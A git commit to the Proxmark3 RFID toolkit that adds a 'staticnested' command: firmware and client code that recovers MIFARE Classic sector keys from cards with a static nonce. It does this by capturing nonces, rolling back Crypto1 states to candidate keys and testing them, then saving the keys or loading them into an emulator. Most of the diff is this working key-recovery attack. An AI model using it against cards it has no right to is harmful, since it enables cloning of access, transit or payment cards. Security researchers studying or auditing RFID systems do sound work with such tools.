Add 'hf mf staticnonce' - a nested find all key solution command for tags that has a static nonce. \n See https://github.com/RfidResearchGroup/proxmark3/issues/133 \n See https://github.com/Proxmark/proxmark3/issues/899 \n This solution is based upon the ideas and solutions of @uzlonewolf and @xtigmh . Thanks!

This commit is contained in:
iceman1001 2020-01-14 16:00:31 +01:00
commit b37a4c14eb
9 changed files with 478 additions and 19 deletions

View file

@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
- Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions.
- Added `hf plot` (@pwpiwi)
- Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001)
- Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001)

View file

@ -1156,6 +1156,18 @@ static void PacketReceived(PacketCommandNG *packet) {
MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key);
break;
}
case CMD_HF_MIFARE_STATIC_NESTED: {
struct p {
uint8_t block;
uint8_t keytype;
uint8_t target_block;
uint8_t target_keytype;
uint8_t key[6];
} PACKED;
struct p *payload = (struct p *) packet->data.asBytes;
MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key);
break;
}
case CMD_HF_MIFARE_CHKKEYS: {
MifareChkKeys(packet->data.asBytes);
break;

View file

@ -1101,6 +1101,107 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
set_tracing(false);
}
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) {
LEDsoff();
uint64_t ui64Key = 0;
ui64Key = bytes_to_num(key, 6);
// variables
uint16_t len;
uint8_t uid[10] = {0x00};
uint32_t cuid = 0, nt1, nt2;
uint32_t target_nt = {0x00}, target_ks = {0x00};
uint8_t par[1] = {0x00};
uint8_t receivedAnswer[10] = {0x00};
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
LED_A_ON();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
// free eventually allocated BigBuf memory
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
int16_t isOK = 0;
LED_C_ON();
for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) {
WDT_HIT();
// prepare next select. No need to power down the card.
if (mifare_classic_halt(pcs, cuid)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error");
retry--;
continue;
}
if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card");
retry--;
continue;
};
// First authenticatoin. Normal auth.
if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error");
retry--;
continue;
};
// second authentication. Nested auth
len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL);
if (len != 4) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len);
continue;
};
nt2 = bytes_to_num(receivedAnswer, 4);
uint32_t nt_tmp = prng_successor(nt1, 160);
target_ks = nt2 ^ nt_tmp;
target_nt = nt_tmp;
isOK = 1;
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks);
}
LED_C_OFF();
crypto1_deinit(pcs);
struct p {
int16_t isOK;
uint8_t block;
uint8_t keytype;
uint8_t cuid[4];
uint8_t nt[4];
uint8_t ks[4];
} PACKED payload;
payload.isOK = isOK;
payload.block = targetBlockNo;
payload.keytype = targetKeyType;
memcpy(payload.cuid, &cuid, 4);
memcpy(payload.nt, &target_nt, 4);
memcpy(payload.ks, &target_ks, 4);
LED_B_ON();
reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload));
LED_B_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
set_tracing(false);
}
//-----------------------------------------------------------------------------
// MIFARE check keys. key count up to 85.
//
@ -1241,8 +1342,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found
}
}
// get Chunks of keys, to test authentication against card.
// arg0 = antal sectorer
// arg0 = first time
@ -2065,7 +2164,6 @@ OUT:
// turns off
OnSuccessMagic();
BigBuf_free();
BigBuf_Clear_ext(false);
}
void MifareHasStaticNonce() {
@ -2092,8 +2190,8 @@ void MifareHasStaticNonce() {
goto OUT;
}
// Transmit MIFARE_CLASSIC_AUTH
len = mifare_sendcmd_short(pcs, false, 0x60, 0, rec, recpar, NULL);
// Transmit MIFARE_CLASSIC_AUTH 0x60, block 0
len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL);
if (len != 4) {
retval = PM3_ESOFT;
goto OUT;
@ -2114,8 +2212,6 @@ OUT:
// turns off
OnSuccessMagic();
BigBuf_free();
BigBuf_Clear_ext(false);
crypto1_deinit(pcs);
}

View file

@ -25,6 +25,8 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain);
void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key);
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key);
void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
void MifareChkKeys(uint8_t *datain);

View file

@ -1601,9 +1601,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) {
res = detect_classic_static_nonce();
if (res == 1)
PrintAndLogEx(SUCCESS, "Static/Fixed nonce detected");
PrintAndLogEx(SUCCESS, "Static nonce detected");
if (res == 2 && verbose)
PrintAndLogEx(SUCCESS, "Static/Fixed nonce detection failed");
PrintAndLogEx(SUCCESS, "Static nonce detection failed");
}
return select_status;

View file

@ -132,6 +132,21 @@ static int usage_hf14_nested(void) {
PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A");
return PM3_SUCCESS;
}
static int usage_hf14_staticnested(void) {
PrintAndLogEx(NORMAL, "Usage:");
PrintAndLogEx(NORMAL, " all sectors: hf mf staticnested <card memory> <block> <key A/B> <key (12 hex symbols)> [t,d]");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h this help");
PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, <other> - 1K");
PrintAndLogEx(NORMAL, " t transfer keys into emulator memory");
PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf-<UID>-key.bin`");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF");
PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory");
PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file ");
return PM3_SUCCESS;
}
static int usage_hf14_hardnested(void) {
PrintAndLogEx(NORMAL, "Usage:");
PrintAndLogEx(NORMAL, " hf mf hardnested <block number> <key A|B> <key (12 hex symbols)>");
@ -1263,9 +1278,10 @@ static int CmdHF14AMfNested(const char *Cmd) {
j++;
}
// check if tag doesn't have static/fixed nonce
// check if tag doesn't have static nonce
if (detect_classic_static_nonce() != 0) {
PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting...");
PrintAndLogEx(WARNING, "Static nonce detected. Quitting...");
PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`");
return PM3_EOPABORTED;
}
@ -1279,7 +1295,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, true);
switch (isOK) {
case -1 :
PrintAndLogEx(ERR, "Error: No response from Proxmark3.\n");
PrintAndLogEx(ERR, "Command execute timeout\n");
break;
case -2 :
PrintAndLogEx(WARNING, "Button pressed. Aborted.\n");
@ -1314,7 +1330,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
}
return PM3_SUCCESS;
default :
PrintAndLogEx(ERR, "Unknown Error.\n");
PrintAndLogEx(ERR, "Unknown error.\n");
}
return PM3_SUCCESS;
} else { // ------------------------------------ multiple sectors working
@ -1360,7 +1376,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
int16_t isOK = mfnested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate);
switch (isOK) {
case -1 :
PrintAndLogEx(ERR, "error: No response from Proxmark3.\n");
PrintAndLogEx(ERR, "Command execute timeout\n");
break;
case -2 :
PrintAndLogEx(WARNING, "button pressed. Aborted.\n");
@ -1382,7 +1398,7 @@ static int CmdHF14AMfNested(const char *Cmd) {
continue;
default :
PrintAndLogEx(ERR, "unknown Error.\n");
PrintAndLogEx(ERR, "Unknown error.\n");
}
free(e_sector);
return PM3_ESOFT;
@ -1472,6 +1488,204 @@ jumptoend:
return PM3_SUCCESS;
}
static int CmdHF14AMfNestedStatic(const char *Cmd) {
sector_t *e_sector = NULL;
uint8_t keyType = 0;
uint8_t trgKeyType = 0;
uint8_t SectorsCnt = 0;
uint8_t key[6] = {0, 0, 0, 0, 0, 0};
uint8_t keyBlock[(ARRAYLEN(g_mifare_default_keys) + 1) * 6];
uint64_t key64 = 0;
bool transferToEml = false;
bool createDumpFile = false;
if (strlen(Cmd) < 3) return usage_hf14_staticnested();
char cmdp, ctmp;
cmdp = tolower(param_getchar(Cmd, 0));
uint8_t blockNo = param_get8(Cmd, 1);
ctmp = tolower(param_getchar(Cmd, 2));
if (ctmp != 'a' && ctmp != 'b') {
PrintAndLogEx(WARNING, "key type must be A or B");
return PM3_EINVARG;
}
if (ctmp != 'a')
keyType = 1;
if (param_gethex(Cmd, 3, key, 12)) {
PrintAndLogEx(WARNING, "key must include 12 HEX symbols");
return PM3_EINVARG;
}
SectorsCnt = NumOfSectors(cmdp);
if (SectorsCnt == 0) return usage_hf14_staticnested();
uint8_t j = 4;
while (ctmp != 0x00) {
ctmp = tolower(param_getchar(Cmd, j));
transferToEml |= (ctmp == 't');
createDumpFile |= (ctmp == 'd');
j++;
}
// check if tag have static nonce
if (detect_classic_static_nonce() == 0) {
PrintAndLogEx(WARNING, "Normal nonce detected. Quitting...");
return PM3_EOPABORTED;
}
// check if we can authenticate to sector
if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) {
PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A');
return PM3_EOPABORTED;
}
uint64_t t1 = msclock();
e_sector = calloc(SectorsCnt, sizeof(sector_t));
if (e_sector == NULL) return PM3_EMALLOC;
// add our known key
e_sector[GetSectorFromBlockNo(blockNo)].foundKey[keyType] = 1;
e_sector[GetSectorFromBlockNo(blockNo)].Key[keyType] = key64;
//test current key and additional standard keys first
// add parameter key
memcpy(keyBlock + (ARRAYLEN(g_mifare_default_keys) * 6), key, 6);
for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) {
num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6));
}
PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt);
int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false);
if (res == PM3_SUCCESS) {
// all keys found
PrintAndLogEx(SUCCESS, "Fast check found all keys");
goto jumptoend;
}
uint64_t t2 = msclock() - t1;
PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0);
PrintAndLogEx(SUCCESS, "enter static nested attack");
// nested sectors
for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) {
for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) {
for (int i = 0; i < 1; i++) {
if (e_sector[sectorNo].foundKey[trgKeyType]) continue;
int16_t isOK = mfStaticNested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock);
switch (isOK) {
case PM3_ETIMEOUT :
PrintAndLogEx(ERR, "Command execute timeout");
break;
case PM3_ESOFT :
continue;
case PM3_SUCCESS :
e_sector[sectorNo].foundKey[trgKeyType] = 1;
e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6);
mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false);
continue;
default :
PrintAndLogEx(ERR, "unknown error.\n");
}
free(e_sector);
return PM3_ESOFT;
}
}
}
t1 = msclock() - t1;
PrintAndLogEx(SUCCESS, "time in static nested: %.0f seconds\n", (float)t1 / 1000.0);
// 20160116 If Sector A is found, but not Sector B, try just reading it of the tag?
PrintAndLogEx(INFO, "trying to read key B...");
for (int i = 0; i < SectorsCnt; i++) {
// KEY A but not KEY B
if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) {
uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1);
PrintAndLogEx(SUCCESS, "reading block %d", sectrail);
mf_readblock_t payload;
payload.blockno = sectrail;
payload.keytype = 0;
num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A
clearCommandBuffer();
SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t));
PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue;
if (resp.status != PM3_SUCCESS) continue;
uint8_t *data = resp.data.asBytes;
key64 = bytes_to_num(data + 10, 6);
if (key64) {
PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, 6));
e_sector[i].foundKey[1] = true;
e_sector[i].Key[1] = key64;
}
}
}
jumptoend:
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(INFO, "found keys:");
//print them
printKeyTable(SectorsCnt, e_sector);
// transfer them to the emulator
if (transferToEml) {
// fast push mode
conn.block_after_ACK = true;
for (int i = 0; i < SectorsCnt; i++) {
mfEmlGetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1);
if (e_sector[i].foundKey[0])
num_to_bytes(e_sector[i].Key[0], 6, keyBlock);
if (e_sector[i].foundKey[1])
num_to_bytes(e_sector[i].Key[1], 6, &keyBlock[10]);
if (i == SectorsCnt - 1) {
// Disable fast mode on last packet
conn.block_after_ACK = false;
}
mfEmlSetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1);
}
PrintAndLogEx(SUCCESS, "keys transferred to emulator memory.");
}
// Create dump file
if (createDumpFile) {
char *fptr = GenerateFilename("hf-mf-", "-key.bin");
if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to save keys to file");
free(e_sector);
return PM3_ESOFT;
}
}
free(e_sector);
return PM3_SUCCESS;
}
static int CmdHF14AMfNestedHard(const char *Cmd) {
uint8_t blockNo = 0;
uint8_t keyType = 0;
@ -1617,9 +1831,10 @@ static int CmdHF14AMfNestedHard(const char *Cmd) {
if (!know_target_key && nonce_file_read == false) {
// check if tag doesn't have static/fixed nonce
// check if tag doesn't have static nonce
if (detect_classic_static_nonce() != 0) {
PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting...");
PrintAndLogEx(WARNING, "Static nonce detected. Quitting...");
PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`");
return PM3_EOPABORTED;
}
@ -4587,7 +4802,7 @@ static command_t CommandTable[] = {
{"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"},
{"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"},
{"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"},
// {"fixednested", CmdHF14AMfNestedFixed, IfPm3Iso14443a, "Nested attack against static/fixed nonce Mifare Classic cards"},
{"staticnested", CmdHF14AMfNestedStatic, IfPm3Iso14443a, "Nested attack against static nonce Mifare Classic cards"},
{"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"},
// {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"},
{"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"},

View file

@ -470,7 +470,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
for (int j = 0; j < size; j++) {
crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
num_to_bytes(key64, 6, keyBlock + i * 6);
num_to_bytes(key64, 6, keyBlock + j * 6);
}
if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) {
@ -498,6 +498,137 @@ out:
return -4;
}
int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) {
uint16_t i;
uint32_t uid;
StateList_t statelists[1];
struct Crypto1State *p1, *p3;
struct {
uint8_t block;
uint8_t keytype;
uint8_t target_block;
uint8_t target_keytype;
uint8_t key[6];
} PACKED payload;
payload.block = blockNo;
payload.keytype = keyType;
payload.target_block = trgBlockNo;
payload.target_keytype = trgKeyType;
memcpy(payload.key, key, sizeof(payload.key));
PacketResponseNG resp;
clearCommandBuffer();
SendCommandNG(CMD_HF_MIFARE_STATIC_NESTED, (uint8_t *)&payload, sizeof(payload));
if (!WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NESTED, &resp, 2000))
return PM3_ETIMEOUT;
if (resp.status != PM3_SUCCESS)
return resp.status;
struct p {
int16_t isOK;
uint8_t block;
uint8_t keytype;
uint8_t cuid[4];
uint8_t nt[4];
uint8_t ks[4];
} PACKED;
struct p *package = (struct p *)resp.data.asBytes;
// error during collecting static nested information
if (package->isOK == 0) return PM3_EUNDEF;
memcpy(&uid, package->cuid, sizeof(package->cuid));
statelists[0].blockNo = package->block;
statelists[0].keyType = package->keytype;
statelists[0].uid = uid;
memcpy(&statelists[0].nt_enc, package->nt, sizeof(package->nt));
memcpy(&statelists[0].ks1, package->ks, sizeof(package->ks));
// calc keys
pthread_t t;
// create and run worker thread
pthread_create(&t, NULL, nested_worker_thread, &statelists[0]);
// wait for thread to terminate:
pthread_join(t, (void *)&statelists[0].head.slhead);
// the first 16 Bits of the cryptostate already contain part of our key.
p1 = p3 = statelists[0].head.slhead;
// create key candidates.
while (p1 <= statelists[0].tail.sltail) {
struct Crypto1State savestate;
savestate = *p1;
while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) {
*p3 = *p1;
lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0);
p3++;
p1++;
}
}
*(uint64_t *)p3 = -1;
statelists[0].len = p3 - statelists[0].head.slhead;
statelists[0].tail.sltail = --p3;
uint32_t keycnt = statelists[0].len;
if (keycnt == 0) goto out;
PrintAndLogEx(SUCCESS, "Found %3u candidate keys", keycnt);
memset(resultKey, 0, 6);
uint64_t key64 = -1;
// The list may still contain several key candidates. Test each of them with mfCheckKeys
uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt;
uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00};
for (i = 0; i < keycnt; i += max_keys_slice) {
PrintAndLogEx(INFO, "Testing %u/%u ", i, keycnt);
key64 = 0;
int size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i;
// copy x keys to device.
for (int j = 0; j < size; j++) {
crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64);
num_to_bytes(key64, 6, keyBlock + j * 6);
}
// check a block of generated candidate keys.
if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) {
free(statelists[0].head.slhead);
num_to_bytes(key64, 6, resultKey);
PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]",
package->block,
package->keytype ? 'B' : 'A',
sprint_hex(resultKey, 6)
);
return PM3_SUCCESS;
}
}
out:
PrintAndLogEx(SUCCESS, "target block:%3u key type: %c",
package->block,
package->keytype ? 'B' : 'A'
);
free(statelists[0].head.slhead);
return PM3_ESOFT;
}
// MIFARE
int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data) {

View file

@ -61,6 +61,7 @@ extern char logHexFileName[FILE_PATH_SIZE];
int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key);
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate);
int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey);
int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key);
int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk,
uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory);

View file

@ -488,6 +488,7 @@ typedef struct {
#define CMD_HF_MIFARE_NESTED 0x0612
#define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613
#define CMD_HF_MIFARE_ACQ_NONCES 0x0614
#define CMD_HF_MIFARE_STATIC_NESTED 0x0615
#define CMD_HF_MIFARE_READBL 0x0620
#define CMD_HF_MIFAREU_READBL 0x0720